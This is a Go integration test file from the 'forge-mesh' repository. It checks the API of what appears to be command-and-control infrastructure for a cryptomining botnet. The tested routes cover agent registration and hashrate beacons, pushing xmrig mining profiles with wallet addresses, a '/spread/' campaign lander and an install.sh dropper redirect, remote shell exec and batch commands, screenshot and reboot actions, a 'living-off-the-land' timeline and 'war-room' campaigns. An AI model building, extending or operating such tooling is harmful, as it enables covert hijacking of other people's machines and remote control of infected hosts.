Files
LINUX-AETHERFORGE/internal/api/integration_test.go
drjones 3678b199d0
Some checks failed
Test / test (push) Has been cancelled
Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev
2026-07-04 09:31:23 +00:00

719 lines
23 KiB
Go

//go:build integration
package api_test
import (
"bufio"
"bytes"
"context"
"database/sql"
"encoding/json"
"fmt"
"io"
"net/http"
"net/url"
"os"
"path/filepath"
"strings"
"testing"
"time"
"forge-mesh/internal/api/handlers"
"forge-mesh/internal/erasure"
"forge-mesh/internal/fleet"
"forge-mesh/internal/testutil"
"github.com/gorilla/websocket"
)
type routeResult struct {
name string
pass bool
detail string
}
func TestIntegrationAllRoutes(t *testing.T) {
ts := testutil.NewTestServer(t)
defer ts.Close()
seedData(t, ts)
var results []routeResult
record := func(name string, pass bool, detail string) {
results = append(results, routeResult{name: name, pass: pass, detail: detail})
if !pass {
t.Errorf("%s: %s", name, detail)
}
}
check := func(name string, fn func() (bool, string)) {
pass, detail := fn()
record(name, pass, detail)
}
// --- Public routes ---
check("GET /api/v1/health", func() (bool, string) { return testHealth(t, ts) })
check("GET /install.sh", func() (bool, string) { return testInstallSh(t, ts) })
check("GET /get", func() (bool, string) { return testGetRedirect(t, ts) })
check("GET /spread/", func() (bool, string) { return testSpread(t, ts) })
check("GET /api/v1/public/builds", func() (bool, string) { return testPublicBuilds(t, ts) })
check("GET /api/v1/public/builds/latest", func() (bool, string) { return testPublicBuildsLatest(t, ts) })
check("GET /api/v1/public/download/{id}", func() (bool, string) { return testPublicDownload(t, ts) })
check("GET /api/v1/public/erasure/{bundle_id}", func() (bool, string) { return testErasureBundle(t, ts) })
check("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", func() (bool, string) { return testErasureShard(t, ts) })
check("GET /api/v1/public/policy-snapshot/{token}", func() (bool, string) { return testPolicySnapshot(t, ts) })
// --- Agent routes (Bearer) ---
check("POST /api/v1/fleet/register", func() (bool, string) { return testFleetRegister(t, ts) })
check("POST /api/v1/fleet/beacon", func() (bool, string) { return testFleetBeacon(t, ts) })
// --- Protected routes (Basic) ---
check("GET /api/v1/fleet", func() (bool, string) { return testFleetList(t, ts) })
check("GET /api/v1/fleet/hosts", func() (bool, string) { return testFleetHosts(t, ts) })
check("POST /api/v1/fleet/{id}/mining-profile", func() (bool, string) { return testMiningProfile(t, ts) })
check("POST /api/v1/fleet/{id}/action pause", func() (bool, string) { return testFleetAction(t, ts, "pause") })
check("POST /api/v1/fleet/{id}/action reboot", func() (bool, string) { return testFleetAction(t, ts, "reboot") })
check("POST /api/v1/fleet/{id}/action screenshot", func() (bool, string) { return testFleetAction(t, ts, "screenshot") })
check("GET /api/v1/fleet/{id}/lotl/timeline", func() (bool, string) { return testLOTLTimeline(t, ts) })
check("GET /api/v1/forge/builds", func() (bool, string) { return testForgeBuilds(t, ts) })
check("GET /api/v1/calibrate/profiles", func() (bool, string) { return testCalibrateProfiles(t, ts) })
check("POST /api/v1/crucible/batch", func() (bool, string) { return testCrucibleBatch(t, ts) })
check("GET /api/v1/crucible/batch/{id}", func() (bool, string) { return testCrucibleBatchGet(t, ts) })
check("POST /api/v1/crucible/exec", func() (bool, string) { return testCrucibleExec(t, ts) })
check("GET /api/v1/seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/api/v1/seer") })
check("GET /seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/seer") })
check("GET /api/v1/war-room/campaigns", func() (bool, string) { return testWarRoom(t, ts) })
check("GET /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardList(t, ts) })
check("POST /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardCreate(t, ts) })
// --- WebSocket ---
check("POST /api/v1/ws/ticket", func() (bool, string) { return testWSTicket(t, ts) })
check("GET /api/v1/ws/fleet deck connect", func() (bool, string) { return testWSFleetDeck(t, ts) })
check("GET /api/v1/ws/fleet agent heartbeat", func() (bool, string) { return testWSFleetAgentHeartbeat(t, ts) })
check("GET /api/v1/ws/fleet command roundtrip", func() (bool, string) { return testWSCommandRoundtrip(t, ts) })
t.Log("--- Route checklist ---")
passed, failed := 0, 0
for _, r := range results {
status := "PASS"
if !r.pass {
status = "FAIL"
failed++
} else {
passed++
}
t.Logf("[%s] %s %s", status, r.name, r.detail)
}
t.Logf("Total: %d passed, %d failed", passed, failed)
}
var (
testHostID string
testBundleID string
testBatchID string
)
func seedData(t *testing.T, ts *testutil.TestServer) {
t.Helper()
ctx := context.Background()
// Demo host from SeedDemoHost
hosts, err := fleet.NewStore(ts.SQL).ListHosts()
if err != nil || len(hosts) == 0 {
t.Fatal("expected seeded demo host")
}
testHostID = hosts[0].ID
_ = fleet.NewStore(ts.SQL).LogLOTL(ctx, testHostID, 2, "deploy", "success", "", `{}`)
svc := erasure.NewService(ts.SQL)
bundle, err := svc.Encode(ctx, "integration-test", []byte("aetherforge erasure integration payload"))
if err != nil {
t.Fatalf("seed erasure: %v", err)
}
testBundleID = bundle.ID
policyJSON := `{"wallet_address":"test-wallet","tiers":[{"type":"xmrig"}]}`
if err := handlers.SeedPolicySnapshot(ctx, ts.SQL, "test-policy-token", policyJSON); err != nil {
t.Fatalf("seed policy: %v", err)
}
if err := handlers.SeedCampaign(ctx, ts.SQL, "ember", "Emberwake Test", 42); err != nil {
t.Fatalf("seed campaign: %v", err)
}
artifactPath := filepath.Join(t.TempDir(), "agent-linux-amd64")
if err := os.WriteFile(artifactPath, []byte("#!/bin/sh\necho agent"), 0o755); err != nil {
t.Fatalf("write artifact: %v", err)
}
buildID := "integration-build-amd64"
_, err = ts.SQL.ExecContext(ctx, `
INSERT INTO builds (id, os, arch, version, checksum, signature, public, path, created_at)
VALUES (?, 'linux', 'amd64', 'integration-test', 'abc123', 'sig', 1, ?, datetime('now'))`,
buildID, artifactPath)
if err != nil {
t.Fatalf("seed build: %v", err)
}
}
func testHealth(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/health")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var body map[string]any
if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
return false, err.Error()
}
if body["status"] != "ok" {
return false, fmt.Sprintf("body %v", body)
}
return true, "200 ok"
}
func testInstallSh(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/install.sh")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return false, fmt.Sprintf("status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
return true, "200 shell script"
}
func testGetRedirect(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/get?c=test")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusFound {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
loc := resp.Header.Get("Location")
if !strings.Contains(loc, "/install.sh") {
return false, "missing install.sh redirect"
}
return true, "302 -> install.sh"
}
func testSpread(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/spread/?c=ember")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
body, _ := io.ReadAll(resp.Body)
if !strings.Contains(string(body), "Emberwake") {
return false, "missing lander content"
}
return true, "200 HTML lander"
}
func testPublicBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/builds")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 builds list"
}
func testPublicBuildsLatest(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/builds/latest?os=linux&arch=amd64")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 latest build"
}
func testPublicDownload(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/download/integration-build-amd64")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 artifact stream"
}
func testErasureBundle(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 bundle metadata"
}
func testErasureShard(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID + "/shard/0")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 shard hex"
}
func testPolicySnapshot(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/policy-snapshot/test-policy-token")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 policy JSON"
}
func testFleetRegister(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(`{"hostname":"agent-integration","arch":"amd64"}`)
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/register", body)
req.Header.Set("Authorization", "Bearer "+ts.FleetSecret)
req.Header.Set("Content-Type", "application/json")
resp, err := http.DefaultClient.Do(req)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 enrolled"
}
func testFleetBeacon(t *testing.T, ts *testutil.TestServer) (bool, string) {
payload := fmt.Sprintf(`{"host_id":%q,"hostname":"beacon-host","hashrate_hps":1000}`, testHostID)
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/beacon", strings.NewReader(payload))
req.Header.Set("Authorization", "Bearer "+ts.FleetSecret)
req.Header.Set("Content-Type", "application/json")
resp, err := http.DefaultClient.Do(req)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 beacon ack"
}
func testFleetList(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/fleet")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 fleet summary"
}
func testFleetHosts(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/fleet/hosts")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var body map[string]any
_ = json.NewDecoder(resp.Body).Decode(&body)
if _, ok := body["hosts"]; !ok {
return false, "missing hosts key"
}
return true, "200 hosts list"
}
func testMiningProfile(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(`{"wallet_address":"4integrationtestwallet","name":"Integration"}`)
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/mining-profile", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 profile pushed"
}
func testFleetAction(t *testing.T, ts *testutil.TestServer, action string) (bool, string) {
body := bytes.NewBufferString(fmt.Sprintf(`{"action":%q}`, action))
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 " + action + " dispatched"
}
func testLOTLTimeline(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/fleet/"+testHostID+"/lotl/timeline")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var body map[string]any
if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
return false, err.Error()
}
if _, ok := body["timeline"]; !ok {
return false, "missing timeline"
}
return true, "200 LOTL timeline"
}
func testForgeBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/forge/builds")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 forge builds"
}
func testCalibrateProfiles(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/calibrate/profiles")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 calibrate profiles"
}
func testCrucibleBatch(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(fmt.Sprintf(`{"command":"status","host_ids":[%q]}`, testHostID))
resp, err := basicPost(ts, "/api/v1/crucible/batch", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var job map[string]any
if err := json.NewDecoder(resp.Body).Decode(&job); err != nil {
return false, err.Error()
}
id, _ := job["id"].(string)
if id == "" {
return false, "missing job id"
}
testBatchID = id
return true, "200 batch created"
}
func testCrucibleBatchGet(t *testing.T, ts *testutil.TestServer) (bool, string) {
if testBatchID == "" {
return false, "no batch id from prior test"
}
resp, err := basicGet(ts, "/api/v1/crucible/batch/"+testBatchID)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 batch status"
}
func testCrucibleExec(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(fmt.Sprintf(`{"host_id":%q,"command":"shell echo hi"}`, testHostID))
resp, err := basicPost(ts, "/api/v1/crucible/exec", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 exec dispatched"
}
func testSeerSSE(t *testing.T, ts *testutil.TestServer, path string) (bool, string) {
req, _ := http.NewRequest(http.MethodGet, ts.URL+path, nil)
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
req.Header.Set("Accept", "text/event-stream")
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
defer cancel()
req = req.WithContext(ctx)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
ct := resp.Header.Get("Content-Type")
if !strings.Contains(ct, "text/event-stream") {
return false, "not SSE: " + ct
}
reader := bufio.NewReader(resp.Body)
line, err := reader.ReadString('\n')
if err != nil && err != io.EOF {
return false, err.Error()
}
if !strings.HasPrefix(line, "data:") {
return false, "no SSE data line"
}
return true, "200 SSE stream"
}
func testWarRoom(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/war-room/campaigns")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var body map[string]any
_ = json.NewDecoder(resp.Body).Decode(&body)
campaigns, _ := body["campaigns"].([]any)
if len(campaigns) == 0 {
return false, "empty campaigns"
}
return true, "200 war room campaigns"
}
func testWireGuardList(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/wireguard/peers")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 peers list"
}
func testWireGuardCreate(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(`{"host_id":"` + testHostID + `","public_key":"wg-test-pubkey","endpoint":"10.0.0.1:51820"}`)
resp, err := basicPost(ts, "/api/v1/wireguard/peers", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusCreated {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "201 peer created"
}
func testWSTicket(t *testing.T, ts *testutil.TestServer) (bool, string) {
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var out struct {
Ticket string `json:"ticket"`
}
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
return false, "empty ticket"
}
return true, "200 ticket issued"
}
func testWSFleetDeck(t *testing.T, ts *testutil.TestServer) (bool, string) {
ticket := issueTicket(t, ts)
wsURL := wsURL(ts.URL, "/api/v1/ws/fleet?ticket="+url.QueryEscape(ticket))
conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
return false, err.Error()
}
defer conn.Close()
if resp.StatusCode != http.StatusSwitchingProtocols {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
_ = conn.WriteMessage(websocket.PingMessage, nil)
return true, "101 deck connected"
}
func testWSFleetAgentHeartbeat(t *testing.T, ts *testutil.TestServer) (bool, string) {
conn, resp, err := dialAgentWS(ts)
if err != nil {
return false, err.Error()
}
defer conn.Close()
if resp.StatusCode != http.StatusSwitchingProtocols {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"ws-agent","hashrate_hps":5000}`, testHostID)
if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil {
return false, err.Error()
}
conn.SetReadDeadline(time.Now().Add(2 * time.Second))
_, _, err = conn.ReadMessage()
if err != nil && !strings.Contains(err.Error(), "timeout") {
// heartbeat may not produce a direct reply; connection staying open is success
}
return true, "101 agent heartbeat sent"
}
func testWSCommandRoundtrip(t *testing.T, ts *testutil.TestServer) (bool, string) {
conn, _, err := dialAgentWS(ts)
if err != nil {
return false, err.Error()
}
defer conn.Close()
cmdCh := make(chan []byte, 1)
go func() {
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
var frame map[string]any
if json.Unmarshal(msg, &frame) == nil && frame["type"] == "command" {
cmdCh <- msg
return
}
}
}()
hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"cmd-agent","hashrate_hps":9000}`, testHostID)
if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil {
return false, err.Error()
}
time.Sleep(300 * time.Millisecond)
body := bytes.NewBufferString(`{"action":"pause"}`)
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body)
if err != nil {
return false, err.Error()
}
resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("action status %d", resp.StatusCode)
}
select {
case msg := <-cmdCh:
var frame map[string]any
_ = json.Unmarshal(msg, &frame)
return true, fmt.Sprintf("command action=%v", frame["command"])
case <-time.After(5 * time.Second):
return false, "no command frame received"
}
}
func dialAgentWS(ts *testutil.TestServer) (*websocket.Conn, *http.Response, error) {
wsURL := wsURL(ts.URL, "/api/v1/ws/fleet")
header := http.Header{}
header.Set("Authorization", "Bearer "+ts.FleetSecret)
return websocket.DefaultDialer.Dial(wsURL, header)
}
func issueTicket(t *testing.T, ts *testutil.TestServer) string {
t.Helper()
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
resp, err := http.DefaultClient.Do(req)
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
var out struct {
Ticket string `json:"ticket"`
}
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
t.Fatal("ticket issue failed")
}
return out.Ticket
}
func wsURL(httpURL, path string) string {
u, _ := url.Parse(httpURL)
u.Scheme = strings.Replace(u.Scheme, "http", "ws", 1)
u.Path = ""
u.RawPath = ""
u.RawQuery = ""
if strings.Contains(path, "?") {
parts := strings.SplitN(path, "?", 2)
u.Path = parts[0]
u.RawQuery = parts[1]
} else {
u.Path = path
}
return u.String()
}
func basicGet(ts *testutil.TestServer, path string) (*http.Response, error) {
req, err := http.NewRequest(http.MethodGet, ts.URL+path, nil)
if err != nil {
return nil, err
}
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
return http.DefaultClient.Do(req)
}
func basicPost(ts *testutil.TestServer, path string, body io.Reader) (*http.Response, error) {
req, err := http.NewRequest(http.MethodPost, ts.URL+path, body)
if err != nil {
return nil, err
}
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
req.Header.Set("Content-Type", "application/json")
return http.DefaultClient.Do(req)
}
// Ensure unused import guard for sql in case of build tags
var _ = sql.ErrNoRows